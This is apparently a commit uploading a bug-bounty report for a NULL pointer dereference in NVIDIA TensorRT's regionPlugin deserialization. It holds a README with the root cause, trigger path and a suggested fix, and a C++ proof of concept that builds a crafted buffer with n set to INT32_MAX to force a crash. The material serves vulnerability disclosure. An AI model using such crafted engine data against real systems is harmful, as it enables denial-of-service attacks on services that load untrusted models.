Upload 3 files

.gitattributes

@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.zip filter=lfs diff=lfs merge=lfs -text
 *.zst filter=lfs diff=lfs merge=lfs -text
 *tfevents* filter=lfs diff=lfs merge=lfs -text
+TensorRT[[:space:]]regionPlugin[[:space:]]—[[:space:]]NULL[[:space:]]Pointer[[:space:]]Dereference[[:space:]]PoC[[:space:]]Evidence.pdf filter=lfs diff=lfs merge=lfs -text

README.md

@@ -0,0 +1,108 @@
+# TensorRT regionPlugin — NULL Pointer Dereference
+
+![Severity: High](https://img.shields.io/badge/Severity-High%207.5%20CVSS-orange)
+![CWE-476](https://img.shields.io/badge/CWE-476%20NULL%20Ptr%20Deref-red)
+![CWE-789](https://img.shields.io/badge/CWE-789%20Unbounded%20Alloc-red)
+![Status: Ready to submit](https://img.shields.io/badge/Status-Ready%20to%20Submit-blue)
+
+## Target
+
+| Field | Value |
+|---|---|
+| **Repository** | https://github.com/NVIDIA/TensorRT |
+| **Platform** | huntr.com |
+| **Max payout** | $4,000 |
+| **Affected file** | `plugin/regionPlugin/regionPlugin.cpp` |
+| **Affected lines** | `allocateChunk` template (38–42), deserialization ctor (93–227), loop (152–168) |
+
+## Vulnerability
+
+`allocateChunk<T>()` calls `malloc(count * sizeof(T))` with **no NULL check** on the return value. The `count` parameter (`smTreeTemp->n`) is read directly from an attacker-controlled deserialization buffer with no bounds validation.
+
+Crafting a `.trt` engine file with `softmaxTree.n = INT32_MAX` causes:
+1. `malloc(8,589,934,588)` → fails → returns `NULL`
+2. Loop: `smTreeTemp->leaf[0]` → WRITE to address `0x0` → **SIGSEGV**
+
+## Root Cause Snippet
+
+```cpp
+// regionPlugin.cpp:38-42 — BUG
+template <typename T>
+void allocateChunk(T*& ptr, int32_t count)
+{
+    ptr = static_cast<T*>(malloc(count * sizeof(T)));
+    // ← no NULL check here
+}
+
+// regionPlugin.cpp:117, 121 — attacker-controlled n flows into allocateChunk
+smTreeTemp->n = read<int32_t>(d);              // ← 0x7FFFFFFF from crafted buffer
+allocateChunk(smTreeTemp->leaf, smTreeTemp->n); // malloc(8.5 GB) → NULL
+
+// regionPlugin.cpp:156 — NULL dereference
+smTreeTemp->leaf[i] = read<int32_t>(d);        // WRITE to 0x0 → SIGSEGV
+```
+
+## Trigger Path
+
+```
+crafted .trt file
+  → Runtime.deserialize_cuda_engine(data)
+  → RegionPluginCreator::deserializePlugin(name, serialData, serialLength)
+  → new Region(serialData, serialLength)              [regionPlugin.cpp:93]
+  → allocateChunk(smTreeTemp->leaf, INT32_MAX)        [regionPlugin.cpp:121]
+  → malloc(8,589,934,588) returns NULL
+  → smTreeTemp->leaf[0] = read<int32_t>(d)           [regionPlugin.cpp:156]
+  → SIGSEGV
+```
+
+## Reproduction
+
+```bash
+# Compile (no CUDA, no GPU, no TensorRT required)
+g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
+
+# Run
+./poc_tensorrt
+```
+
+**Expected output:**
+```
+[*] n = 2147483647 (0x7FFFFFFF)
+[*] malloc requested: 8589934588 bytes (8.0 GB)
+[*] leaf ptr after allocateChunk: (nil)
+[!] malloc FAILED — leaf is NULL
+[!] Entering loop — crash on first iteration...
+Segmentation fault (core dumped)   [exit 139 / SIGSEGV]
+```
+
+**ASAN confirmation:**
+```bash
+g++ -std=c++17 -O0 -g -fsanitize=address -o poc_tensorrt_asan poc_tensorrt.cpp
+ASAN_OPTIONS=allocator_may_return_null=1 ./poc_tensorrt_asan
+# ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
+# The signal is caused by a WRITE memory access.
+# Hint: address points to the zero page.
+#   #0 in trigger_deserialize poc_tensorrt.cpp:187
+```
+
+## Suggested Fix
+
+```cpp
+template <typename T>
+void allocateChunk(T*& ptr, int32_t count)
+{
+    ptr = static_cast<T*>(malloc(count * sizeof(T)));
+    PLUGIN_VALIDATE(ptr != nullptr);   // ADD THIS
+}
+```
+
+All 9 call sites in the deserialization constructor are fixed by patching the template.
+
+## Files
+
+| File | Description |
+|---|---|
+| `poc_tensorrt.cpp` | Self-contained C++ PoC — compiles with g++, no CUDA |
+| `report.md` | Full huntr-format vulnerability report |
+| `poc-evidence.html` | HTML evidence page with terminal output and ASAN backtrace |
+| `README.md` | This file |

TensorRT regionPlugin — NULL Pointer Dereference PoC Evidence.pdf

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:09a6df5e392b368b5862dcc5f9b8dbbf50c3a6a34e6232dbefd62a95e5f48b20
+size 196232

poc_tensorrt.cpp

@@ -0,0 +1,216 @@
+/*
+ * TensorRT regionPlugin NULL Pointer Dereference - Proof of Concept
+ *
+ * Vulnerability: NULL pointer dereference in Region plugin deserialization
+ * CWE-476: NULL Pointer Dereference
+ * CWE-789: Uncontrolled Memory Allocation
+ *
+ * Affected file : plugin/regionPlugin/regionPlugin.cpp
+ * Affected lines: allocateChunk template (lines 38-42), deserialization
+ *                 constructor (lines 93-227), loop at lines 152-168
+ *
+ * Root cause:
+ *   allocateChunk<T>(ptr, count) calls malloc(count * sizeof(T)) with no NULL
+ *   check on the return value. When `count` is an attacker-controlled value
+ *   from the serialized engine buffer (smTreeTemp->n), a crafted value of
+ *   INT32_MAX causes malloc(~8.5 GB) to fail and return NULL. The subsequent
+ *   loop immediately dereferences ptr[0] at address 0x0 → SIGSEGV.
+ *
+ * Trigger path:
+ *   tensorrt.Runtime.deserialize_cuda_engine(crafted_engine_bytes)
+ *   → RegionPluginCreator::deserializePlugin()
+ *   → Region::Region(buffer, length)           [regionPlugin.cpp:93]
+ *   → allocateChunk(smTreeTemp->leaf, INT32_MAX) [regionPlugin.cpp:121]
+ *   → malloc(0x1FFFFFFFC) fails → leaf = NULL
+ *   → smTreeTemp->leaf[0] = read<int32_t>(d)   [regionPlugin.cpp:156]
+ *   → NULL pointer dereference → SIGSEGV
+ *
+ * Compile (no CUDA required):
+ *   g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp
+ *
+ * Run:
+ *   ./poc_tensorrt
+ *
+ * Expected output:
+ *   [*] n = 2147483647 (0x7FFFFFFF)
+ *   [*] malloc requested: 8589934588 bytes (8.0 GB)
+ *   [*] leaf ptr after allocateChunk: 0x0  (NULL — malloc failed)
+ *   [!] NULL pointer dereference in loop iteration 0 — expect SIGSEGV
+ *   Segmentation fault (core dumped)
+ */
+
+#include <cstdlib>
+#include <cstdint>
+#include <cstring>
+#include <cstdio>
+#include <climits>
+
+// ── Exact copy of allocateChunk from regionPlugin.cpp:38-42 ──────────────────
+// BUG: no NULL check after malloc
+template <typename T>
+void allocateChunk(T*& ptr, int32_t count)
+{
+    ptr = static_cast<T*>(malloc(count * sizeof(T)));
+    // Missing: if (ptr == nullptr) { throw / return error; }
+}
+
+// ── Deserialization read helper (identical to plugin/common) ─────────────────
+template <typename T>
+T read(char const*& d)
+{
+    T val;
+    memcpy(&val, d, sizeof(T));
+    d += sizeof(T);
+    return val;
+}
+
+// ── softmaxTree (matches regionPlugin.h) ─────────────────────────────────────
+struct softmaxTree {
+    int32_t  n;
+    int32_t  groups;
+    int32_t* leaf;
+    int32_t* parent;
+    int32_t* child;
+    int32_t* group;
+    char**   name;
+    int32_t* groupSize;
+    int32_t* groupOffset;
+};
+
+// ── Build the malicious serialization buffer ──────────────────────────────────
+//
+// Binary layout mirrors Region::serialize() at regionPlugin.cpp:301-363:
+//
+//   Offset  Size  Field
+//   0       4     C        (int32_t)
+//   4       4     H        (int32_t)
+//   8       4     W        (int32_t)
+//   12      4     num      (int32_t)
+//   16      4     classes  (int32_t)
+//   20      4     coords   (int32_t)
+//   24      1     softmaxTreePresent  (bool) ← set TRUE
+//   25      1     leafPresent         (bool) ← set TRUE → triggers allocateChunk(leaf, n)
+//   26      1     parentPresent       (bool)
+//   27      1     childPresent        (bool)
+//   28      1     groupPresent        (bool)
+//   29      1     namePresent         (bool)
+//   30      1     groupSizePresent    (bool)
+//   31      1     groupOffsetPresent  (bool)
+//   32      4     n = INT32_MAX       (int32_t) ← MALICIOUS VALUE
+//
+static size_t build_malicious_buffer(char* buf)
+{
+    char* d = buf;
+
+    auto w32 = [&](int32_t v) { memcpy(d, &v, 4); d += 4; };
+    auto wb  = [&](bool v)    { *d++ = v ? 1 : 0; };
+
+    w32(1); w32(1); w32(1);   // C, H, W
+    w32(1); w32(1); w32(1);   // num, classes, coords
+
+    wb(true);   // softmaxTreePresent  — enters tree branch
+    wb(true);   // leafPresent         — triggers allocateChunk(leaf, n) and loop write
+    wb(false);  // parentPresent
+    wb(false);  // childPresent
+    wb(false);  // groupPresent
+    wb(false);  // namePresent
+    wb(false);  // groupSizePresent
+    wb(false);  // groupOffsetPresent
+
+    w32(INT32_MAX);  // n = 2,147,483,647 → malloc(8.5 GB) → fails → NULL
+
+    return (size_t)(d - buf);
+}
+
+// ── Replicate Region::Region(buffer, length) — regionPlugin.cpp:93-227 ───────
+static void trigger_deserialize(char const* buffer, size_t length)
+{
+    char const* d = buffer;
+
+    /* C        = */ read<int32_t>(d);
+    /* H        = */ read<int32_t>(d);
+    /* W        = */ read<int32_t>(d);
+    /* num      = */ read<int32_t>(d);
+    /* classes  = */ read<int32_t>(d);
+    /* coords   = */ read<int32_t>(d);
+
+    bool softmaxTreePresent = read<bool>(d);
+    bool leafPresent        = read<bool>(d);
+    bool parentPresent      = read<bool>(d);
+    bool childPresent       = read<bool>(d);
+    bool groupPresent       = read<bool>(d);
+    /* namePresent        = */ read<bool>(d);
+    /* groupSizePresent   = */ read<bool>(d);
+    /* groupOffsetPresent = */ read<bool>(d);
+
+    if (softmaxTreePresent)
+    {
+        softmaxTree* smTreeTemp;
+        allocateChunk(smTreeTemp, 1);          // allocates 1 struct — succeeds
+
+        smTreeTemp->n = read<int32_t>(d);      // n = INT32_MAX (attacker-controlled)
+
+        printf("[*] n = %d (0x%08X)\n",
+               smTreeTemp->n, (uint32_t)smTreeTemp->n);
+        printf("[*] malloc requested: %zu bytes (%.1f GB)\n",
+               (size_t)smTreeTemp->n * sizeof(int32_t),
+               (double)((size_t)smTreeTemp->n * sizeof(int32_t)) / (1 << 30));
+
+        if (leafPresent)
+        {
+            // regionPlugin.cpp:121 — THE VULNERABLE CALL
+            allocateChunk(smTreeTemp->leaf, smTreeTemp->n);
+            printf("[*] leaf ptr after allocateChunk: %p\n", (void*)smTreeTemp->leaf);
+
+            if (smTreeTemp->leaf == nullptr)
+                printf("[!] malloc FAILED — leaf is NULL\n"
+                       "[!] Entering loop — crash on first iteration...\n\n");
+        }
+        else smTreeTemp->leaf = nullptr;
+
+        if (parentPresent)
+            allocateChunk(smTreeTemp->parent, smTreeTemp->n);
+        else smTreeTemp->parent = nullptr;
+
+        if (childPresent)
+            allocateChunk(smTreeTemp->child, smTreeTemp->n);
+        else smTreeTemp->child = nullptr;
+
+        if (groupPresent)
+            allocateChunk(smTreeTemp->group, smTreeTemp->n);
+        else smTreeTemp->group = nullptr;
+
+        // regionPlugin.cpp:152-168 — CRASH HERE (i=0, leaf=NULL)
+        for (int32_t i = 0; i < smTreeTemp->n; i++)
+        {
+            if (leafPresent)
+                smTreeTemp->leaf[i] = read<int32_t>(d);   // NULL DEREF → SIGSEGV
+            if (parentPresent)
+                smTreeTemp->parent[i] = read<int32_t>(d);
+            if (childPresent)
+                smTreeTemp->child[i] = read<int32_t>(d);
+            if (groupPresent)
+                smTreeTemp->group[i] = read<int32_t>(d);
+        }
+    }
+}
+
+int main()
+{
+    setvbuf(stdout, nullptr, _IONBF, 0);   // unbuffered — survives crash
+
+    printf("============================================================\n");
+    printf(" TensorRT regionPlugin NULL Pointer Dereference PoC\n");
+    printf(" CWE-476 | CWE-789 | plugin/regionPlugin/regionPlugin.cpp\n");
+    printf("============================================================\n\n");
+
+    char buffer[64] = {};
+    size_t len = build_malicious_buffer(buffer);
+    printf("[*] Crafted plugin blob: %zu bytes\n\n", len);
+
+    trigger_deserialize(buffer, len);
+
+    // Should never reach here
+    printf("\n[-] ERROR: should have crashed — SIGSEGV not triggered\n");
+    return 1;
+}